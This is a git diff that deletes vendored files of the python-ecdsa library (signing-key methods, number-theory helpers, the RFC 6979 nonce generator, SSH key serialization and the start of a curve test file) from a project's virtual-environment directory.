der.encode_integer(1), - der.encode_octet_string(self.to_string()), - ] - if format == "ssleay": - priv_key_elems.append( - der.encode_constructed( - 0, self.curve.to_der(curve_parameters_encoding) - ) - ) - # the 0 in encode_bitstring specifies the number of unused bits - # in the `encoded_vk` string - priv_key_elems.append( - der.encode_constructed(1, der.encode_bitstring(encoded_vk, 0)) - ) - ec_private_key = der.encode_sequence(*priv_key_elems) - - if format == "ssleay": - return ec_private_key - else: - return der.encode_sequence( - # version = 1 means the public key is not present in the - # top-level structure. - der.encode_integer(1), - der.encode_sequence( - der.encode_oid(*oid_ecPublicKey), - self.curve.to_der(curve_parameters_encoding), - ), - der.encode_octet_string(ec_private_key), - ) - - def to_ssh(self): - """ - Convert the private key to the SSH format. - - :return: SSH encoded private key - :rtype: bytes - """ - return ssh.serialize_private( - self.curve.name, - self.verifying_key.to_string(), - self.to_string(), - ) - - def get_verifying_key(self): - """ - Return the VerifyingKey associated with this private key. - - Equivalent to reading the `verifying_key` field of an instance. - - :return: a public key that can be used to verify the signatures made - with this SigningKey - :rtype: VerifyingKey - """ - return self.verifying_key - - def sign_deterministic( - self, - data, - hashfunc=None, - sigencode=sigencode_string, - extra_entropy=b"", - ): - """ - Create signature over data. - - For Weierstrass curves it uses the deterministic RFC6979 algorithm. - For Edwards curves it uses the standard EdDSA algorithm. - - For ECDSA the data will be hashed using the `hashfunc` function before - signing. - For EdDSA the data will be hashed with the hash associated with the - curve (SHA-512 for Ed25519 and SHAKE-256 for Ed448). - - This is the recommended method for performing signatures when hashing - of data is necessary. - - :param data: data to be hashed and computed signature over - :type data: :term:`bytes-like object` - :param hashfunc: hash function to use for computing the signature, - if unspecified, the default hash function selected during - object initialisation will be used (see - `VerifyingKey.default_hashfunc`). The object needs to implement - the same interface as hashlib.sha1. - Ignored with EdDSA. - :type hashfunc: callable - :param sigencode: function used to encode the signature. - The function needs to accept three parameters: the two integers - that are the signature and the order of the curve over which the - signature was computed. It needs to return an encoded signature. - See `ecdsa.util.sigencode_string` and `ecdsa.util.sigencode_der` - as examples of such functions. - Ignored with EdDSA. - :type sigencode: callable - :param extra_entropy: additional data that will be fed into the random - number generator used in the RFC6979 process. Entirely optional. - Ignored with EdDSA. - :type extra_entropy: :term:`bytes-like object` - - :return: encoded signature over `data` - :rtype: bytes or sigencode function dependent type - """ - hashfunc = hashfunc or self.default_hashfunc - data = normalise_bytes(data) - - if isinstance(self.curve.curve, CurveEdTw): - return self.privkey.sign(data) - - extra_entropy = normalise_bytes(extra_entropy) - digest = hashfunc(data).digest() - - return self.sign_digest_deterministic( - digest, - hashfunc=hashfunc, - sigencode=sigencode, - extra_entropy=extra_entropy, - allow_truncate=True, - ) - - def sign_digest_deterministic( - self, - digest, - hashfunc=None, - sigencode=sigencode_string, - extra_entropy=b"", - allow_truncate=False, - ): - """ - Create signature for digest using the deterministic RFC6979 algorithm. - - `digest` should be the output of cryptographically secure hash function - like SHA256 or SHA-3-256. - - This is the recommended method for performing signatures when no - hashing of data is necessary. - - :param digest: hash of data that will be signed - :type digest: :term:`bytes-like object` - :param hashfunc: hash function to use for computing the random "k" - value from RFC6979 process, - if unspecified, the default hash function selected during - object initialisation will be used (see - :attr:`.VerifyingKey.default_hashfunc`). The object needs to - implement - the same interface as :func:`~hashlib.sha1` from :py:mod:`hashlib`. - :type hashfunc: callable - :param sigencode: function used to encode the signature. - The function needs to accept three parameters: the two integers - that are the signature and the order of the curve over which the - signature was computed. It needs to return an encoded signature. - See :func:`~ecdsa.util.sigencode_string` and - :func:`~ecdsa.util.sigencode_der` - as examples of such functions. - :type sigencode: callable - :param extra_entropy: additional data that will be fed into the random - number generator used in the RFC6979 process. Entirely optional. - :type extra_entropy: :term:`bytes-like object` - :param bool allow_truncate: if True, the provided digest can have - bigger bit-size than the order of the curve, the extra bits (at - the end of the digest) will be truncated. Use it when signing - SHA-384 output using NIST256p or in similar situations. - - :return: encoded signature for the `digest` hash - :rtype: bytes or sigencode function dependent type - """ - if isinstance(self.curve.curve, CurveEdTw): - raise ValueError("Method unsupported for Edwards curves") - secexp = self.privkey.secret_multiplier - hashfunc = hashfunc or self.default_hashfunc - digest = normalise_bytes(digest) - extra_entropy = normalise_bytes(extra_entropy) - - def simple_r_s(r, s, order): - return r, s, order - - retry_gen = 0 - while True: - k = rfc6979.generate_k( - self.curve.generator.order(), - secexp, - hashfunc, - digest, - retry_gen=retry_gen, - extra_entropy=extra_entropy, - ) - try: - r, s, order = self.sign_digest( - digest, - sigencode=simple_r_s, - k=k, - allow_truncate=allow_truncate, - ) - break - except RSZeroError: - retry_gen += 1 - - return sigencode(r, s, order) - - def sign( - self, - data, - entropy=None, - hashfunc=None, - sigencode=sigencode_string, - k=None, - allow_truncate=True, - ): - """ - Create signature over data. - - Uses the probabilistic ECDSA algorithm for Weierstrass curves - (NIST256p, etc.) and the deterministic EdDSA algorithm for the - Edwards curves (Ed25519, Ed448). - - This method uses the standard ECDSA algorithm that requires a - cryptographically secure random number generator. - - It's recommended to use the :func:`~SigningKey.sign_deterministic` - method instead of this one. - - :param data: data that will be hashed for signing - :type data: :term:`bytes-like object` - :param callable entropy: randomness source, :func:`os.urandom` by - default. Ignored with EdDSA. - :param hashfunc: hash function to use for hashing the provided - ``data``. - If unspecified the default hash function selected during - object initialisation will be used (see - :attr:`.VerifyingKey.default_hashfunc`). - Should behave like :func:`~hashlib.sha1` from :py:mod:`hashlib`. - The output length of the - hash (in bytes) must not be longer than the length of the curve - order (rounded up to the nearest byte), so using SHA256 with - NIST256p is ok, but SHA256 with NIST192p is not. (In the 2**-96ish - unlikely event of a hash output larger than the curve order, the - hash will effectively be wrapped mod n). - If you want to explicitly allow use of large hashes with small - curves set the ``allow_truncate`` to ``True``. - Use ``hashfunc=hashlib.sha1`` to match openssl's - ``-ecdsa-with-SHA1`` mode, - or ``hashfunc=hashlib.sha256`` for openssl-1.0.0's - ``-ecdsa-with-SHA256``. - Ignored for EdDSA - :type hashfunc: callable - :param sigencode: function used to encode the signature. - The function needs to accept three parameters: the two integers - that are the signature and the order of the curve over which the - signature was computed. It needs to return an encoded signature. - See :func:`~ecdsa.util.sigencode_string` and - :func:`~ecdsa.util.sigencode_der` - as examples of such functions. - Ignored for EdDSA - :type sigencode: callable - :param int k: a pre-selected nonce for calculating the signature. - In typical use cases, it should be set to None (the default) to - allow its generation from an entropy source. - Ignored for EdDSA. - :param bool allow_truncate: if ``True``, the provided digest can have - bigger bit-size than the order of the curve, the extra bits (at - the end of the digest) will be truncated. Use it when signing - SHA-384 output using NIST256p or in similar situations. True by - default. - Ignored for EdDSA. - - :raises RSZeroError: in the unlikely event when *r* parameter or - *s* parameter of the created signature is equal 0, as that would - leak the key. Caller should try a better entropy source, retry with - different ``k``, or use the - :func:`~SigningKey.sign_deterministic` in such case. - - :return: encoded signature of the hash of `data` - :rtype: bytes or sigencode function dependent type - """ - hashfunc = hashfunc or self.default_hashfunc - data = normalise_bytes(data) - if isinstance(self.curve.curve, CurveEdTw): - return self.sign_deterministic(data) - h = hashfunc(data).digest() - return self.sign_digest(h, entropy, sigencode, k, allow_truncate) - - def sign_digest( - self, - digest, - entropy=None, - sigencode=sigencode_string, - k=None, - allow_truncate=False, - ): - """ - Create signature over digest using the probabilistic ECDSA algorithm. - - This method uses the standard ECDSA algorithm that requires a - cryptographically secure random number generator. - - This method does not hash the input. - - It's recommended to use the - :func:`~SigningKey.sign_digest_deterministic` method - instead of this one. - - :param digest: hash value that will be signed - :type digest: :term:`bytes-like object` - :param callable entropy: randomness source, os.urandom by default - :param sigencode: function used to encode the signature. - The function needs to accept three parameters: the two integers - that are the signature and the order of the curve over which the - signature was computed. It needs to return an encoded signature. - See `ecdsa.util.sigencode_string` and `ecdsa.util.sigencode_der` - as examples of such functions. - :type sigencode: callable - :param int k: a pre-selected nonce for calculating the signature. - In typical use cases, it should be set to None (the default) to - allow its generation from an entropy source. - :param bool allow_truncate: if True, the provided digest can have - bigger bit-size than the order of the curve, the extra bits (at - the end of the digest) will be truncated. Use it when signing - SHA-384 output using NIST256p or in similar situations. - - :raises RSZeroError: in the unlikely event when "r" parameter or - "s" parameter of the created signature is equal 0, as that would - leak the key. Caller should try a better entropy source, retry with - different 'k', or use the - :func:`~SigningKey.sign_digest_deterministic` in such case. - - :return: encoded signature for the `digest` hash - :rtype: bytes or sigencode function dependent type - """ - if isinstance(self.curve.curve, CurveEdTw): - raise ValueError("Method unsupported for Edwards curves") - digest = normalise_bytes(digest) - number = _truncate_and_convert_digest( - digest, - self.curve, - allow_truncate, - ) - r, s = self.sign_number(number, entropy, k) - return sigencode(r, s, self.privkey.order) - - def sign_number(self, number, entropy=None, k=None): - """ - Sign an integer directly. - - Note, this is a low level method, usually you will want to use - :func:`~SigningKey.sign_deterministic` or - :func:`~SigningKey.sign_digest_deterministic`. - - :param int number: number to sign using the probabilistic ECDSA - algorithm. - :param callable entropy: entropy source, os.urandom by default - :param int k: pre-selected nonce for signature operation. If unset - it will be selected at random using the entropy source. - - :raises RSZeroError: in the unlikely event when "r" parameter or - "s" parameter of the created signature is equal 0, as that would - leak the key. Caller should try a better entropy source, retry with - different 'k', or use the - :func:`~SigningKey.sign_digest_deterministic` in such case. - - :return: the "r" and "s" parameters of the signature - :rtype: tuple of ints - """ - if isinstance(self.curve.curve, CurveEdTw): - raise ValueError("Method unsupported for Edwards curves") - order = self.privkey.order - - if k is not None: - _k = k - else: - _k = randrange(order, entropy) - - assert 1 <= _k < order - sig = self.privkey.sign(number, _k) - return sig.r, sig.s diff --git a/venv/Lib/site-packages/ecdsa/numbertheory.py b/venv/Lib/site-packages/ecdsa/numbertheory.py deleted file mode 100644 index fe974f8e4f9c0c488edaf817eb1fd9eeeb50cf5f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/numbertheory.py +++ /dev/null @@ -1,835 +0,0 @@ -#! /usr/bin/env python -# -# Provide some simple capabilities from number theory. -# -# Version of 2008.11.14. -# -# Written in 2005 and 2006 by Peter Pearson and placed in the public domain. -# Revision history: -# 2008.11.14: Use pow(base, exponent, modulus) for modular_exp. -# Make gcd and lcm accept arbitrarily many arguments. - -from __future__ import division - -import sys -from six import integer_types, PY2 -from six.moves import reduce - -try: - xrange -except NameError: - xrange = range -try: - from gmpy2 import powmod, mpz - - GMPY2 = True - GMPY = False -except ImportError: # pragma: no branch - GMPY2 = False - try: - from gmpy import mpz - - GMPY = True - except ImportError: - GMPY = False - - -if GMPY2 or GMPY: # pragma: no branch - integer_types = tuple(integer_types + (type(mpz(1)),)) - - -import math -import warnings -import random -from .util import bit_length - - -class Error(Exception): - """Base class for exceptions in this module.""" - - pass - - -class JacobiError(Error): - pass - - -class SquareRootError(Error): - pass - - -class NegativeExponentError(Error): - pass - - -def modular_exp(base, exponent, modulus): # pragma: no cover - """Raise base to exponent, reducing by modulus""" - # deprecated in 0.14 - warnings.warn( - "Function is unused in library code. If you use this code, " - "change to pow() builtin.", - DeprecationWarning, - ) - if exponent < 0: - raise NegativeExponentError( - "Negative exponents (%d) not allowed" % exponent - ) - return pow(base, exponent, modulus) - - -def polynomial_reduce_mod(poly, polymod, p): - """Reduce poly by polymod, integer arithmetic modulo p. - - Polynomials are represented as lists of coefficients - of increasing powers of x.""" - - # This module has been tested only by extensive use - # in calculating modular square roots. - - # Just to make this easy, require a monic polynomial: - assert polymod[-1] == 1 - - assert len(polymod) > 1 - - while len(poly) >= len(polymod): - if poly[-1] != 0: - for i in xrange(2, len(polymod) + 1): - poly[-i] = (poly[-i] - poly[-1] * polymod[-i]) % p - poly = poly[0:-1] - - return poly - - -def polynomial_multiply_mod(m1, m2, polymod, p): - """Polynomial multiplication modulo a polynomial over ints mod p. - - Polynomials are represented as lists of coefficients - of increasing powers of x.""" - - # This is just a seat-of-the-pants implementation. - - # This module has been tested only by extensive use - # in calculating modular square roots. - - # Initialize the product to zero: - - prod = (len(m1) + len(m2) - 1) * [0] - - # Add together all the cross-terms: - - for i in xrange(len(m1)): - for j in xrange(len(m2)): - prod[i + j] = (prod[i + j] + m1[i] * m2[j]) % p - - return polynomial_reduce_mod(prod, polymod, p) - - -def polynomial_exp_mod(base, exponent, polymod, p): - """Polynomial exponentiation modulo a polynomial over ints mod p. - - Polynomials are represented as lists of coefficients - of increasing powers of x.""" - - # Based on the Handbook of Applied Cryptography, algorithm 2.227. - - # This module has been tested only by extensive use - # in calculating modular square roots. - - assert exponent < p - - if exponent == 0: - return [1] - - G = base - k = exponent - if k % 2 == 1: - s = G - else: - s = [1] - - while k > 1: - k = k // 2 - G = polynomial_multiply_mod(G, G, polymod, p) - if k % 2 == 1: - s = polynomial_multiply_mod(G, s, polymod, p) - - return s - - -def jacobi(a, n): - """Jacobi symbol""" - - # Based on the Handbook of Applied Cryptography (HAC), algorithm 2.149. - - # This function has been tested by comparison with a small - # table printed in HAC, and by extensive use in calculating - # modular square roots. - - if not n >= 3: - raise JacobiError("n must be larger than 2") - if not n % 2 == 1: - raise JacobiError("n must be odd") - a = a % n - if a == 0: - return 0 - if a == 1: - return 1 - a1, e = a, 0 - while a1 % 2 == 0: - a1, e = a1 // 2, e + 1 - if e % 2 == 0 or n % 8 == 1 or n % 8 == 7: - s = 1 - else: - s = -1 - if a1 == 1: - return s - if n % 4 == 3 and a1 % 4 == 3: - s = -s - return s * jacobi(n % a1, a1) - - -def square_root_mod_prime(a, p): - """Modular square root of a, mod p, p prime.""" - - # Based on the Handbook of Applied Cryptography, algorithms 3.34 to 3.39. - - # This module has been tested for all values in [0,p-1] for - # every prime p from 3 to 1229. - - assert 0 <= a < p - assert 1 < p - - if a == 0: - return 0 - if p == 2: - return a - - jac = jacobi(a, p) - if jac == -1: - raise SquareRootError("%d has no square root modulo %d" % (a, p)) - - if p % 4 == 3: - return pow(a, (p + 1) // 4, p) - - if p % 8 == 5: - d = pow(a, (p - 1) // 4, p) - if d == 1: - return pow(a, (p + 3) // 8, p) - assert d == p - 1 - return (2 * a * pow(4 * a, (p - 5) // 8, p)) % p - - if PY2: - # xrange on python2 can take integers representable as C long only - range_top = min(0x7FFFFFFF, p) - else: - range_top = p - for b in xrange(2, range_top): # pragma: no branch - if jacobi(b * b - 4 * a, p) == -1: - f = (a, -b, 1) - ff = polynomial_exp_mod((0, 1), (p + 1) // 2, f, p) - if ff[1]: - raise SquareRootError("p is not prime") - return ff[0] - # just an assertion - raise RuntimeError("No b found.") # pragma: no cover - - -# because all the inverse_mod code is arch/environment specific, and coveralls -# expects it to execute equal number of times, we need to waive it by -# adding the "no branch" pragma to all branches -if GMPY2: # pragma: no branch - - def inverse_mod(a, m): - """Inverse of a mod m.""" - if a == 0: # pragma: no branch - return 0 - return powmod(a, -1, m) - -elif GMPY: # pragma: no branch - - def inverse_mod(a, m): - """Inverse of a mod m.""" - # while libgmp does support inverses modulo, it is accessible - # only using the native `pow()` function, and `pow()` in gmpy sanity - # checks the parameters before passing them on to underlying - # implementation - if a == 0: # pragma: no branch - return 0 - a = mpz(a) - m = mpz(m) - - lm, hm = mpz(1), mpz(0) - low, high = a % m, m - while low > 1: # pragma: no branch - r = high // low - lm, low, hm, high = hm - lm * r, high - low * r, lm, low - - return lm % m - -elif sys.version_info >= (3, 8): # pragma: no branch - - def inverse_mod(a, m): - """Inverse of a mod m.""" - if a == 0: # pragma: no branch - return 0 - return pow(a, -1, m) - -else: # pragma: no branch - - def inverse_mod(a, m): - """Inverse of a mod m.""" - - if a == 0: # pragma: no branch - return 0 - - lm, hm = 1, 0 - low, high = a % m, m - while low > 1: # pragma: no branch - r = high // low - lm, low, hm, high = hm - lm * r, high - low * r, lm, low - - return lm % m - - -try: - gcd2 = math.gcd -except AttributeError: - - def gcd2(a, b): - """Greatest common divisor using Euclid's algorithm.""" - while a: - a, b = b % a, a - return b - - -def gcd(*a): - """Greatest common divisor. - - Usage: gcd([ 2, 4, 6 ]) - or: gcd(2, 4, 6) - """ - - if len(a) > 1: - return reduce(gcd2, a) - if hasattr(a[0], "__iter__"): - return reduce(gcd2, a[0]) - return a[0] - - -def lcm2(a, b): - """Least common multiple of two integers.""" - - return (a * b) // gcd(a, b) - - -def lcm(*a): - """Least common multiple. - - Usage: lcm([ 3, 4, 5 ]) - or: lcm(3, 4, 5) - """ - - if len(a) > 1: - return reduce(lcm2, a) - if hasattr(a[0], "__iter__"): - return reduce(lcm2, a[0]) - return a[0] - - -def factorization(n): - """Decompose n into a list of (prime,exponent) pairs.""" - - assert isinstance(n, integer_types) - - if n < 2: - return [] - - result = [] - - # Test the small primes: - - for d in smallprimes: - if d > n: - break - q, r = divmod(n, d) - if r == 0: - count = 1 - while d <= n: # pragma: no branch - n = q - q, r = divmod(n, d) - if r != 0: - break - count = count + 1 - result.append((d, count)) - - # If n is still greater than the last of our small primes, - # it may require further work: - - if n > smallprimes[-1]: - if is_prime(n): # If what's left is prime, it's easy: - result.append((n, 1)) - else: # Ugh. Search stupidly for a divisor: - d = smallprimes[-1] - while 1: - d = d + 2 # Try the next divisor. - q, r = divmod(n, d) - if q < d: # n < d*d means we're done, n = 1 or prime. - break - if r == 0: # d divides n. How many times? - count = 1 - n = q - # As long as d might still divide n, - while d <= n: # pragma: no branch - q, r = divmod(n, d) # see if it does. - if r != 0: - break - n = q # It does. Reduce n, increase count. - count = count + 1 - result.append((d, count)) - if n > 1: - result.append((n, 1)) - - return result - - -def phi(n): # pragma: no cover - """Return the Euler totient function of n.""" - # deprecated in 0.14 - warnings.warn( - "Function is unused by library code. If you use this code, " - "please open an issue in " - "https://github.com/tlsfuzzer/python-ecdsa", - DeprecationWarning, - ) - - assert isinstance(n, integer_types) - - if n < 3: - return 1 - - result = 1 - ff = factorization(n) - for f in ff: - e = f[1] - if e > 1: - result = result * f[0] ** (e - 1) * (f[0] - 1) - else: - result = result * (f[0] - 1) - return result - - -def carmichael(n): # pragma: no cover - """Return Carmichael function of n. - - Carmichael(n) is the smallest integer x such that - m**x = 1 mod n for all m relatively prime to n. - """ - # deprecated in 0.14 - warnings.warn( - "Function is unused by library code. If you use this code, " - "please open an issue in " - "https://github.com/tlsfuzzer/python-ecdsa", - DeprecationWarning, - ) - - return carmichael_of_factorized(factorization(n)) - - -def carmichael_of_factorized(f_list): # pragma: no cover - """Return the Carmichael function of a number that is - represented as a list of (prime,exponent) pairs. - """ - # deprecated in 0.14 - warnings.warn( - "Function is unused by library code. If you use this code, " - "please open an issue in " - "https://github.com/tlsfuzzer/python-ecdsa", - DeprecationWarning, - ) - - if len(f_list) < 1: - return 1 - - result = carmichael_of_ppower(f_list[0]) - for i in xrange(1, len(f_list)): - result = lcm(result, carmichael_of_ppower(f_list[i])) - - return result - - -def carmichael_of_ppower(pp): # pragma: no cover - """Carmichael function of the given power of the given prime.""" - # deprecated in 0.14 - warnings.warn( - "Function is unused by library code. If you use this code, " - "please open an issue in " - "https://github.com/tlsfuzzer/python-ecdsa", - DeprecationWarning, - ) - - p, a = pp - if p == 2 and a > 2: - return 2 ** (a - 2) - else: - return (p - 1) * p ** (a - 1) - - -def order_mod(x, m): # pragma: no cover - """Return the order of x in the multiplicative group mod m.""" - # deprecated in 0.14 - warnings.warn( - "Function is unused by library code. If you use this code, " - "please open an issue in " - "https://github.com/tlsfuzzer/python-ecdsa", - DeprecationWarning, - ) - - # Warning: this implementation is not very clever, and will - # take a long time if m is very large. - - if m <= 1: - return 0 - - assert gcd(x, m) == 1 - - z = x - result = 1 - while z != 1: - z = (z * x) % m - result = result + 1 - return result - - -def largest_factor_relatively_prime(a, b): # pragma: no cover - """Return the largest factor of a relatively prime to b.""" - # deprecated in 0.14 - warnings.warn( - "Function is unused by library code. If you use this code, " - "please open an issue in " - "https://github.com/tlsfuzzer/python-ecdsa", - DeprecationWarning, - ) - - while 1: - d = gcd(a, b) - if d <= 1: - break - b = d - while 1: - q, r = divmod(a, d) - if r > 0: - break - a = q - return a - - -def kinda_order_mod(x, m): # pragma: no cover - """Return the order of x in the multiplicative group mod m', - where m' is the largest factor of m relatively prime to x. - """ - # deprecated in 0.14 - warnings.warn( - "Function is unused by library code. If you use this code, " - "please open an issue in " - "https://github.com/tlsfuzzer/python-ecdsa", - DeprecationWarning, - ) - - return order_mod(x, largest_factor_relatively_prime(m, x)) - - -def is_prime(n): - """Return True if x is prime, False otherwise. - - We use the Miller-Rabin test, as given in Menezes et al. p. 138. - This test is not exact: there are composite values n for which - it returns True. - - In testing the odd numbers from 10000001 to 19999999, - about 66 composites got past the first test, - 5 got past the second test, and none got past the third. - Since factors of 2, 3, 5, 7, and 11 were detected during - preliminary screening, the number of numbers tested by - Miller-Rabin was (19999999 - 10000001)*(2/3)*(4/5)*(6/7) - = 4.57 million. - """ - - # (This is used to study the risk of false positives:) - global miller_rabin_test_count - - miller_rabin_test_count = 0 - - if n <= smallprimes[-1]: - if n in smallprimes: - return True - else: - return False - # 2310 = 2 * 3 * 5 * 7 * 11 - if gcd(n, 2310) != 1: - return False - - # Choose a number of iterations sufficient to reduce the - # probability of accepting a composite below 2**-80 - # (from Menezes et al. Table 4.4): - - t = 40 - n_bits = 1 + bit_length(n) - assert 11 <= n_bits <= 16384 - for k, tt in ( - (100, 27), - (150, 18), - (200, 15), - (250, 12), - (300, 9), - (350, 8), - (400, 7), - (450, 6), - (550, 5), - (650, 4), - (850, 3), - (1300, 2), - ): - if n_bits < k: - break - t = tt - - # Run the test t times: - - s = 0 - r = n - 1 - while (r % 2) == 0: - s = s + 1 - r = r // 2 - for i in xrange(t): - a = random.choice(smallprimes) - y = pow(a, r, n) - if y != 1 and y != n - 1: - j = 1 - while j <= s - 1 and y != n - 1: - y = pow(y, 2, n) - if y == 1: - miller_rabin_test_count = i + 1 - return False - j = j + 1 - if y != n - 1: - miller_rabin_test_count = i + 1 - return False - return True - - -def next_prime(starting_value): - """Return the smallest prime larger than the starting value.""" - - if starting_value < 2: - return 2 - result = (starting_value + 1) | 1 - while not is_prime(result): - result = result + 2 - return result - - -smallprimes = [ - 2, - 3, - 5, - 7, - 11, - 13, - 17, - 19, - 23, - 29, - 31, - 37, - 41, - 43, - 47, - 53, - 59, - 61, - 67, - 71, - 73, - 79, - 83, - 89, - 97, - 101, - 103, - 107, - 109, - 113, - 127, - 131, - 137, - 139, - 149, - 151, - 157, - 163, - 167, - 173, - 179, - 181, - 191, - 193, - 197, - 199, - 211, - 223, - 227, - 229, - 233, - 239, - 241, - 251, - 257, - 263, - 269, - 271, - 277, - 281, - 283, - 293, - 307, - 311, - 313, - 317, - 331, - 337, - 347, - 349, - 353, - 359, - 367, - 373, - 379, - 383, - 389, - 397, - 401, - 409, - 419, - 421, - 431, - 433, - 439, - 443, - 449, - 457, - 461, - 463, - 467, - 479, - 487, - 491, - 499, - 503, - 509, - 521, - 523, - 541, - 547, - 557, - 563, - 569, - 571, - 577, - 587, - 593, - 599, - 601, - 607, - 613, - 617, - 619, - 631, - 641, - 643, - 647, - 653, - 659, - 661, - 673, - 677, - 683, - 691, - 701, - 709, - 719, - 727, - 733, - 739, - 743, - 751, - 757, - 761, - 769, - 773, - 787, - 797, - 809, - 811, - 821, - 823, - 827, - 829, - 839, - 853, - 857, - 859, - 863, - 877, - 881, - 883, - 887, - 907, - 911, - 919, - 929, - 937, - 941, - 947, - 953, - 967, - 971, - 977, - 983, - 991, - 997, - 1009, - 1013, - 1019, - 1021, - 1031, - 1033, - 1039, - 1049, - 1051, - 1061, - 1063, - 1069, - 1087, - 1091, - 1093, - 1097, - 1103, - 1109, - 1117, - 1123, - 1129, - 1151, - 1153, - 1163, - 1171, - 1181, - 1187, - 1193, - 1201, - 1213, - 1217, - 1223, - 1229, -] - -miller_rabin_test_count = 0 diff --git a/venv/Lib/site-packages/ecdsa/rfc6979.py b/venv/Lib/site-packages/ecdsa/rfc6979.py deleted file mode 100644 index 0728b5a41d51b825be1d844a1e375233417365b8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/rfc6979.py +++ /dev/null @@ -1,113 +0,0 @@ -""" -RFC 6979: - Deterministic Usage of the Digital Signature Algorithm (DSA) and - Elliptic Curve Digital Signature Algorithm (ECDSA) - - http://tools.ietf.org/html/rfc6979 - -Many thanks to Coda Hale for his implementation in Go language: - https://github.com/codahale/rfc6979 -""" - -import hmac -from binascii import hexlify -from .util import number_to_string, number_to_string_crop, bit_length -from ._compat import hmac_compat - - -# bit_length was defined in this module previously so keep it for backwards -# compatibility, will need to deprecate and remove it later -__all__ = ["bit_length", "bits2int", "bits2octets", "generate_k"] - - -def bits2int(data, qlen): - x = int(hexlify(data), 16) - l = len(data) * 8 - - if l > qlen: - return x >> (l - qlen) - return x - - -def bits2octets(data, order): - z1 = bits2int(data, bit_length(order)) - z2 = z1 - order - - if z2 < 0: - z2 = z1 - - return number_to_string_crop(z2, order) - - -# https://tools.ietf.org/html/rfc6979#section-3.2 -def generate_k(order, secexp, hash_func, data, retry_gen=0, extra_entropy=b""): - """ - Generate the ``k`` value - the nonce for DSA. - - :param int order: order of the DSA generator used in the signature - :param int secexp: secure exponent (private key) in numeric form - :param hash_func: reference to the same hash function used for generating - hash, like :py:class:`hashlib.sha1` - :param bytes data: hash in binary form of the signing data - :param int retry_gen: how many good 'k' values to skip before returning - :param bytes extra_entropy: additional added data in binary form as per - section-3.6 of rfc6979 - :rtype: int - """ - - qlen = bit_length(order) - holen = hash_func().digest_size - rolen = (qlen + 7) // 8 - bx = ( - hmac_compat(number_to_string(secexp, order)), - hmac_compat(bits2octets(data, order)), - hmac_compat(extra_entropy), - ) - - # Step B - v = b"\x01" * holen - - # Step C - k = b"\x00" * holen - - # Step D - - k = hmac.new(k, digestmod=hash_func) - k.update(v + b"\x00") - for i in bx: - k.update(i) - k = k.digest() - - # Step E - v = hmac.new(k, v, hash_func).digest() - - # Step F - k = hmac.new(k, digestmod=hash_func) - k.update(v + b"\x01") - for i in bx: - k.update(i) - k = k.digest() - - # Step G - v = hmac.new(k, v, hash_func).digest() - - # Step H - while True: - # Step H1 - t = b"" - - # Step H2 - while len(t) < rolen: - v = hmac.new(k, v, hash_func).digest() - t += v - - # Step H3 - secret = bits2int(t, qlen) - - if 1 <= secret < order: - if retry_gen <= 0: - return secret - retry_gen -= 1 - - k = hmac.new(k, v + b"\x00", hash_func).digest() - v = hmac.new(k, v, hash_func).digest() diff --git a/venv/Lib/site-packages/ecdsa/ssh.py b/venv/Lib/site-packages/ecdsa/ssh.py deleted file mode 100644 index 64e94030f61720cde50b5e5efc0e916d04d9750e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/ssh.py +++ /dev/null @@ -1,83 +0,0 @@ -import binascii -from . import der -from ._compat import compat26_str, int_to_bytes - -_SSH_ED25519 = b"ssh-ed25519" -_SK_MAGIC = b"openssh-key-v1\0" -_NONE = b"none" - - -def _get_key_type(name): - if name == "Ed25519": - return _SSH_ED25519 - else: - raise ValueError("Unsupported key type") - - -class _Serializer: - def __init__(self): - self.bytes = b"" - - def put_raw(self, val): - self.bytes += val - - def put_u32(self, val): - self.bytes += int_to_bytes(val, length=4, byteorder="big") - - def put_str(self, val): - self.put_u32(len(val)) - self.bytes += val - - def put_pad(self, blklen=8): - padlen = blklen - (len(self.bytes) % blklen) - self.put_raw(bytearray(range(1, 1 + padlen))) - - def encode(self): - return binascii.b2a_base64(compat26_str(self.bytes)) - - def tobytes(self): - return self.bytes - - def topem(self): - return der.topem(self.bytes, "OPENSSH PRIVATE KEY") - - -def serialize_public(name, pub): - serial = _Serializer() - ktype = _get_key_type(name) - serial.put_str(ktype) - serial.put_str(pub) - return b" ".join([ktype, serial.encode()]) - - -def serialize_private(name, pub, priv): - # encode public part - spub = _Serializer() - ktype = _get_key_type(name) - spub.put_str(ktype) - spub.put_str(pub) - - # encode private part - spriv = _Serializer() - checksum = 0 - spriv.put_u32(checksum) - spriv.put_u32(checksum) - spriv.put_raw(spub.tobytes()) - spriv.put_str(priv + pub) - comment = b"" - spriv.put_str(comment) - spriv.put_pad() - - # top-level structure - main = _Serializer() - main.put_raw(_SK_MAGIC) - ciphername = kdfname = _NONE - main.put_str(ciphername) - main.put_str(kdfname) - nokdf = 0 - main.put_u32(nokdf) - nkeys = 1 - main.put_u32(nkeys) - main.put_str(spub.tobytes()) - main.put_str(spriv.tobytes()) - return main.topem() diff --git a/venv/Lib/site-packages/ecdsa/test_curves.py b/venv/Lib/site-packages/ecdsa/test_curves.py deleted file mode 100644 index 93b6c9bdedd21dd9a2ee0fa104dd0761780cf704..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/test_curves.py +++ /dev/null @@ -1,361 +0,0 @@ -try: - import unittest2 as unittest -except ImportError: - import unittest - -import base64 -import pytest -from .curves import ( - Curve, - NIST256p, - curves, - UnknownCurveError, - PRIME_FIELD_OID, - curve_by_name, -) -from .ellipticcurve import CurveFp, PointJacobi, CurveEdTw -from . import der -from .util import number_to_string - - -class TestParameterEncoding(unittest.TestCase): - @classmethod - def setUpClass(cls): - # minimal, but with cofactor (excludes seed when compared to - # OpenSSL output) - cls.base64_params = ( - "MIHgAgEBMCwGByqGSM49AQECIQD/////AAAAAQAAAAAAAAAAAAAAAP/////////" - "//////zBEBCD/////AAAAAQAAAAAAAAAAAAAAAP///////////////AQgWsY12K" - "o6k+ez671VdpiGvGUdBrDMU7D2O848PifSYEsEQQRrF9Hy4SxCR/i85uVjpEDyd" - "wN9gS3rM6D0oTlF2JjClk/jQuL+Gn+bjufrSnwPnhYrzjNXazFezsu2QGg3v1H1" - "AiEA/////wAAAAD//////////7zm+q2nF56E87nKwvxjJVECAQE=" - ) - - def test_from_pem(self): - pem_params = ( - "-----BEGIN EC PARAMETERS-----\n" - 